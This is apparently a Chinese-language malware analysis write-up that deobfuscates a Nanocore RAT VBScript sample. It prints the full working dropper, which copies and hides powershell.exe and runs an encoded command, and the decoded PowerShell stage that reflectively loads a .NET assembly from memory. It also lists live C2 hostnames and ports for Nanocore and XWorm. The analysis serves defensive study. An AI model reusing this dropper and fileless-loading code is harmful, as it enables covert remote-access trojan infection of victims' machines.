Nanocore恶意脚本分析
前言
最近在外网发现一个有意思的Nanocore恶意脚本的样本,给大家分享一下
SHA256: c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1
Sharelink: https://virusshare.com/file?2596ef126fb57cdf2ba563b05444ad0ec6dad6a0083b3c309ca9595e64ad0615
初步分析
源文件的大部分均为干扰用的字符串,直接正则替换提取出来,拿到核心代码
^(REM|').*
混淆技术分析
首先chr字符串可以很容易想到数值转换字符,我们用第一个混淆具体拆开分析一下
- chr函数:数值转字符
- 479808:十进制数值,用于参与后续的计算
- CLng函数:vbs中的CLng 函数,用于把表达式转换为长整型(Long)类型
- &H1B90:这是vbs中的十六进制写法,代表0x1B90
- 以及其余的算术运算符
直接做计算得到:
同理第二个混淆:
通过python批量提取所有混淆后的payload
观察到payload中存在两种运算,提取出来表达式做进一步操作
for matcher in matchers:
matcher = matcher.replace("&H", "0x")
matcher = matcher.replace('chr(', '')
matcher = matcher.replace(')', '')
matcher = matcher.replace('CLng(', '')
print(matcher)
完整代码
import re
# 读取文件
def read_text(filename):
with open(filename, 'r') as f:
return f.read()
# 计算payload
def calc(string):
if "/" in string:
return int(string.split("/")[0]) / int(string.split("/")[-1], 16)
elif "+" in string:
return int(string.split("+")[0]) + int(string.split("+")[-1], 16)
Nanocore_text = read_text('Nanocore.txt')
pattern = re.compile(r'chr\([^)]+\)\)')
matchers = pattern.findall(Nanocore_text)
code = ""
for matcher in matchers:
matcher = matcher.replace("&H", "0x")
matcher = matcher.replace('chr(', '')
matcher = matcher.replace(')', '')
matcher = matcher.replace('CLng(', '')
matcher = calc(matcher)
matcher = chr(int(matcher))
code += matcher.replace('\n', '')
with open('Nanocore.vbs', 'w') as f:
f.write(code)
成功提取到vbs源码
源码分析
源码:
Dim scriptPath, scriptFolder, sourcePath, destinationPath, scriptNameWithoutExtension
Dim fso, shell
Set fso = CreateObject("Scripting.FileSystemObject")
scriptPath = WScript.ScriptFullName
scriptFolder = fso.GetParentFolderName(scriptPath)
scriptNameWithoutExtension = fso.GetFileName(scriptPath)
destinationPath = scriptFolder & "\" & scriptNameWithoutExtension & ".exe"
Dim part1, part2, part3, part4, part5, part6, part7, part8, part9, part10, part11, part12, part13, fullPath
part1 = "%S"
part2 = "ystem"
part3 = "Root%"
part4 = "\Sys"
part5 = "WOW"
part6 = "64"
part7 = "\Windo"
part8 = "wsPow"
part9 = "erShell"
part10 = "\v1."
part11 = "0\pow"
part12 = "ershe"
part13 = "ll.exe"
fullPath = part1 & part2 & part3 & part4 & part5 & part6 & part7 & part8 & part9 & part10 & part11 & part12 & part13
Dim expandedPath
Set shell = CreateObject("WScript.Shell")
expandedPath = shell.ExpandEnvironmentStrings(fullPath)
sourcePath = expandedPath
Dim objWMIService, objProcess, strCommand
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
strCommand = "cmd /c copy """ & sourcePath & """ """ & destinationPath & """ /Y"
Set objProcess = objWMIService.Get("Win32_Process")
objProcess.Create strCommand
WScript.Sleep(1500)
Dim file
Set file = fso.GetFile(destinationPath)
file.Attributes = 4 + 2
Set objWMIService = Nothing
Set objProcess = Nothing
shell.Run destinationPath & " -enc JABDAHYAbwBrAGEAeQBrAHQAcAByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAFoAegBuAGsAegB5AGYAbABnAGoAdwAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAEMAdgBvAGsAYQB5AGsAdABwAHIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAQwBmAHgAegBpAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAWgB6AG4AawB6AHkAZgBsAGcAagB3AC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABLAGMAeABwAHEAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAQwBmAHgAegBpAHMAIAApADsAJABHAGMAeQB3AGUAegB5AHAAZwBxACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABaAHEAdAB3AGcAbwBiAGoAeABkAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQASwBjAHgAcABxAHQALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFoAcQB0AHcAZwBvAGIAagB4AGQAdwAuAEMAbwBwAHkAVABvACgAIAAkAEcAYwB5AHcAZQB6AHkAcABnAHEAIAApADsAJABaAHEAdAB3AGcAbwBiAGoAeABkAHcALgBDAGwAbwBzAGUAKAApADsAJABLAGMAeABwAHEAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEMAZgB4AHoAaQBzACAAPQAgACQARwBjAHkAdwBlAHoAeQBwAGcAcQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAQwBmAHgAegBpAHMAKQA7ACAAJABGAGgAegB4AHcAaQBoAHoAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEMAZgB4AHoAaQBzACkAOwAgACQAQQBkAGMAbwBqACAAPQAgACQARgBoAHoAeAB3AGkAaAB6AG4ALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABBAGQAYwBvAGoALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEEAZABjAG8AagAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=", 0, False
Set fso = Nothing
Set shell = Nothing
初始化
Dim scriptPath, scriptFolder, sourcePath, destinationPath, scriptNameWithoutExtension
Dim fso, shell
Set fso = CreateObject("Scripting.FileSystemObject")
首先定义了一系列变量用于后续操作,Fso通过创建一个FileSystemObject实例,FileSystemObject
提供了丰富的文件系统操作功能,比如读取文件、创建目录、复制文件等。
获取当前脚本环境信息
scriptPath = WScript.ScriptFullName
scriptFolder = fso.GetParentFolderName(scriptPath)
scriptNameWithoutExtension = fso.GetFileName(scriptPath)
destinationPath = scriptFolder & "\" & scriptNameWithoutExtension & ".exe"
- 脚本当前全路径
- 脚本当前文件夹路径
- 脚本文件名称(这里看名字是想要获取不带后缀的文件名,实际上仍然会获取vbs后缀)
- 目标路径(exe后缀)
路径为:当前路径\脚本名称.exe
构造Shell路径
Dim part1, part2, part3, part4, part5, part6, part7, part8, part9, part10, part11, part12, part13, fullPath
part1 = "%S"
part2 = "ystem"
part3 = "Root%"
part4 = "\Sys"
part5 = "WOW"
part6 = "64"
part7 = "\Windo"
part8 = "wsPow"
part9 = "erShell"
part10 = "\v1."
part11 = "0\pow"
part12 = "ershe"
part13 = "ll.exe"
fullPath = part1 & part2 & part3 & part4 & part5 & part6 & part7 & part8 & part9 & part10 & part11 & part12 & part13
通过拼接的方式绕过特征检测,构造出shell路径(Powershell)
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
补充Shell完整路径
Dim expandedPath
Set shell = CreateObject("WScript.Shell")
expandedPath = shell.ExpandEnvironmentStrings(fullPath)
sourcePath = expandedPath
首先创建了一个WScript.Shell
对象,WScript.Shell
对象提供了对Windows Shell的访问,可以执行诸如运行程序、操作环境变量等
然后通过Shell对象的ExpandEnvironmentStrings
方法操作fullPath(存在环境变量占位符的Shell路径)
ExpandEnvironmentStrings
方法会获取环境变量中的占位符信息并替换其代表的路径,此处为%System%
,拼接后赋值给sourcePath
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
复制powershell
Dim objWMIService, objProcess, strCommand
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
strCommand = "cmd /c copy """ & sourcePath & """ """ & destinationPath & """ /Y"
Set objProcess = objWMIService.Get("Win32_Process")
objProcess.Create strCommand
WScript.Sleep(1500)
这一段的作用是通过wmi执行命令并延时,拼接后的命令为
cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "{当前路径\脚本名称.exe}" /Y
将powershll复制到了当前目录,并命名为脚本名称.exe
(e.g. nanocore.vbs.exe)
赋予权限
Dim file
Set file = fso.GetFile(destinationPath)
file.Attributes = 4 + 2
通过之前获取到的fso对象操作上一步复制的powershell文件,设置属性为4+2(系统文件+隐藏)
执行powershell脚本
Set objWMIService = Nothing
Set objProcess = Nothing
shell.Run destinationPath & " -enc JABDAHYAbwBrAGEAeQBrAHQAcAByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAFoAegBuAGsAegB5AGYAbABnAGoAdwAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAEMAdgBvAGsAYQB5AGsAdABwAHIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAQwBmAHgAegBpAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAWgB6AG4AawB6AHkAZgBsAGcAagB3AC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABLAGMAeABwAHEAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAQwBmAHgAegBpAHMAIAApADsAJABHAGMAeQB3AGUAegB5AHAAZwBxACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABaAHEAdAB3AGcAbwBiAGoAeABkAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQASwBjAHgAcABxAHQALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFoAcQB0AHcAZwBvAGIAagB4AGQAdwAuAEMAbwBwAHkAVABvACgAIAAkAEcAYwB5AHcAZQB6AHkAcABnAHEAIAApADsAJABaAHEAdAB3AGcAbwBiAGoAeABkAHcALgBDAGwAbwBzAGUAKAApADsAJABLAGMAeABwAHEAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEMAZgB4AHoAaQBzACAAPQAgACQARwBjAHkAdwBlAHoAeQBwAGcAcQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAQwBmAHgAegBpAHMAKQA7ACAAJABGAGgAegB4AHcAaQBoAHoAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEMAZgB4AHoAaQBzACkAOwAgACQAQQBkAGMAbwBqACAAPQAgACQARgBoAHoAeAB3AGkAaAB6AG4ALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABBAGQAYwBvAGoALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEEAZABjAG8AagAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=", 0, False
Set fso = Nothing
Set shell = Nothing
前后清空了获取到的几个对象,重点为中间的部分,详细分析
powershell脚本详细分析
$Cvokayktpr = [System.Diagnostics.Process]::GetCurrentProcess().MainModule.FileName.Replace('.exe','');
$Zznkzyflgjw = get-content $Cvokayktpr | Select-Object -Last 1;
$Cfxzis = [System.Convert]::FromBase64String($Zznkzyflgjw.Replace('REM ', '').Replace('@', 'A'));
$Kcxpqt = New-Object System.IO.MemoryStream( , $Cfxzis );
$Gcywezypgq = New-Object System.IO.MemoryStream;
$Zqtwgobjxdw = New-Object System.IO.Compression.GzipStream $Kcxpqt, ([IO.Compression.CompressionMode]::Decompress);
$Zqtwgobjxdw.CopyTo( $Gcywezypgq );
$Zqtwgobjxdw.Close();
$Kcxpqt.Close();
[byte[]] $Cfxzis = $Gcywezypgq.ToArray();
[Array]::Reverse($Cfxzis);
$Fhzxwihzn = [System.AppDomain]::CurrentDomain.Load($Cfxzis);
$Adcoj = $Fhzxwihzn.EntryPoint;
[System.Delegate]::CreateDelegate([Action], $Adcoj.DeclaringType, $Adcoj.Name).DynamicInvoke() | Out-Null
我们详细跟进一下(以我的环境为例)
- 获取当前运行的 PowerShell 进程的主模块(即主执行文件)的完整路径,并去除exe后缀
$Cvokayktpr = [System.Diagnostics.Process]::GetCurrentProcess().MainModule.FileName.Replace('.exe','');
还记得复制powershell文件那一步吗,实际上在这里获取到的主进程名为脚本名称.exe
,那么最终拿到的文件路径就变回了脚本文件本身的路径
- 获取脚本的最后一行内容并做第二次相关的解混淆操作
$Zznkzyflgjw = get-content $Cvokayktpr | Select-Object -Last 1;
$Cfxzis = [System.Convert]::FromBase64String($Zznkzyflgjw.Replace('REM ', '').Replace('@', 'A'));
即:
①去除开头REM
②替换@为A
③base64解码
识别出来是gz格式数据,内容我们稍后分析
- 通过
New-Object
创建了两个System.IO.MemoryStream
对象
$Kcxpqt = New-Object System.IO.MemoryStream( , $Cfxzis );
$Gcywezypgq = New-Object System.IO.MemoryStream;
New-Object
: 是 PowerShell 中的一个命令,用于创建 .NET Framework 对象的实例,这里两个参数代表向开始位置写入数据
System.IO.MemoryStream
: 是 .NET Framework 中的一个类,用于在内存中读写数据
可以看到这里实现了无文件落地操作,并且向第一个对象中写入了上一步解出来的数据
- 解压缩内存中的gz数据
$Zqtwgobjxdw = New-Object System.IO.Compression.GzipStream $Kcxpqt, ([IO.Compression.CompressionMode]::Decompress);
System.IO.Compression.GzipStream
: 是 .NET Framework 中的一个类,用于处理 GZIP 格式的压缩和解压缩数据流。
[IO.Compression.CompressionMode]
是 .NET Framework 中的一个枚举,用于指定 GzipStream
的压缩或解压缩模式。
这里对刚刚的gz数据进行了解压缩,我们现在来看一下解压缩后的数据
看上去无意义,但当我们翻到最后发现了这个,来看看后续会怎么处理
- 加载解压缩后的数据为字节数组
$Zqtwgobjxdw.CopyTo( $Gcywezypgq );
$Zqtwgobjxdw.Close();
$Kcxpqt.Close();
[byte[]] $Cfxzis = $Gcywezypgq.ToArray();
这里将解压缩后的数据复制到了之前创建的另一个内存流对象中,并转换为了字节数组
- 反转并作为.NET应用程序集加载
[Array]::Reverse($Cfxzis);
$Fhzxwihzn = [System.AppDomain]::CurrentDomain.Load($Cfxzis);
[System.AppDomain]::CurrentDomain
:获取当前应用程序域(AppDomain)的实例
.Load()
方法:是 System.AppDomain
类的一个方法,用于加载指定的.NET应用程序集。
- 动态调用方法
[System.Delegate]::CreateDelegate([Action], $Adcoj.DeclaringType, $Adcoj.Name).DynamicInvoke() | Out-Null
[System.Delegate]::CreateDelegate
可以创建一个委托,该委托封装了指定的方法,通常用于动态地调用方法
第一个参数 [Action]
指定了委托的类型。Action
是一个没有返回值的委托类型,可以接受最多16个参数
第二个参数 $Adcoj.DeclaringType
是包含方法的类型(即类的 Type
对象)。
第三个参数 $Adcoj.Name
是要封装的方法的名称。
.DynamicInvoke()
直接动态调用方法,并通过管道传递给Out-Null丢弃输出
内存加载的可执行文件分析
现在我们回过头来分析中途内存加载的可执行文件
还伪造了pdf图标
丢进vt直接发现Nanocore RAT特征
{'NanoCore': {'KeyboardLogging': ['True'], 'BuildTime': ['2024-08-08 05:36:51.971568'], 'Version': ['1.2.2.0'], 'Mutex': ['5a71ca6b-558e-46f1-b51d-f5c300aa04cd'], 'DefaultGroup': ['D-Online23rd'], 'PrimaryConnectionHost': ['builderlloulirabaonline23rd.mywire.org'], 'BackupConnectionHost': ['127.0.0.1'], 'ConnectionPort': ['7077'], 'RunOnStartup': ['False'], 'RequestElevation': ['False'], 'BypassUserAccountControl': ['False'], 'ClearZoneIdentifier': ['True'], 'ClearAccessControl': ['False'], 'SetCriticalProcess': ['False'], 'PreventSystemSleep': ['True'], 'ActivateAwayMode': ['False'], 'EnableDebugMode': ['False'], 'RunDelay': ['0'], 'ConnectDelay': ['4000'], 'RestartDelay': ['5000'], 'TimeoutInterval': ['5000'], 'KeepAliveTimeout': ['30000'], 'MutexTimeout': ['5000'], 'LanTimeout': ['2500'], 'WanTimeout': ['8000'], 'BufferSize': ['65535'], 'MaxPacketSize': ['10485760'], 'GCThreshold': ['10485760'], 'UseCustomDnsServer': ['True'], 'PrimaryDnsServer': ['8.8.8.8'], 'BackupDnsServer': ['8.8.4.4'], 'cncs': [['builderlloulirabaonline23rd.mywire.org:7077', '127.0.0.1:7077']]}}
{'XWorm': {'C2': ['reserved2021whsjsr.mywire.org'], 'Port': ['7100\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'], 'AES Key (connections)': ['<123456789>'], 'SPL': ['<Xwormmm>'], 'USBNM': ['XWorm V5.6']}}
总结
经过前面分析可以看到,该样本一共套了四层
- 第一层vbs
- 第二层vbs
- 第三层powershell
- 第四层Nanocore RAT
每一层之间互相配合最终以无文件落地的形式执行了C2文件,中间还是有挺多值得借鉴的地方